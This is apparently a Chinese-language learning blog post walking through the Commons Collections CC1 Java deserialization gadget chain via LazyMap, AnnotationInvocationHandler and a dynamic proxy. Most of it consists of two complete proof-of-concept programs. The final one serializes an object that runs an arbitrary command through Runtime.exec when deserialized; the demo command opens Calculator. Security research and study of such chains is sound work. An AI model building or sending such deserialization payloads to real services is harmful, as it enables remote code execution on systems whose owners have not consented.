前言
摆了一两天,补上前面没分析完的CommonsCollections1利用链,这条LazyMap链应该才是正版的CC1链hhh
分析
由上回我们知道,当时找到三条Map链,之前我们找的是TransformedMap
,这次我们分析LazyMap
。
这个get方法里面也调用了transform
,我们继续向上看
发现了这里也有之前出现过的decorate
方法,这个类的构造函数是protected
,无法直接获取,所以我们又可以通过decorate方法来new一个LazyMap
对象。我们构造POC如下
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map;
public class CommonsCollections11 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazymap = LazyMap.decorate(hashMap, invokerTransformer); Class<LazyMap> lazyClass = LazyMap.class; Method getMethod = lazyClass.getMethod("get", Object.class); getMethod.invoke(lazymap, runtime); } }
|
可以执行,我们继续向上走,看谁调用了get方法,这里我们找到了AnnotationInvocationHandler的invoke()
方法
恰巧这个类里也有readObject
方法
但问题是,我们怎么样触发这个invoke方法,这里就要有之前写过的动态代理的知识,
一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke()
方法。
我们找到之前的entrySet()
方法,如果我们把memberValues
改为代理对象,当它调用entrySet
的时候,就一定会调用invoke
方法。然后完成这条链的利用
我们拿上节的POC来分析
这个就是我们要代理的实例
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, decorateMap);
|
然后生成代理类
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);
|
最终的POC
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map;
public class CommonsCollections11 { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, ClassNotFoundException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); hashMap.put("value", "qqw"); Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, decorateMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler); invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);
serialize(invocationHandler); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
}
|
最后再放一下soserial的链子图
总结
- 再去理解下java的反射机制
- 多看看其他师傅的分析文章
- 反序列化的知识
- 动态代理机制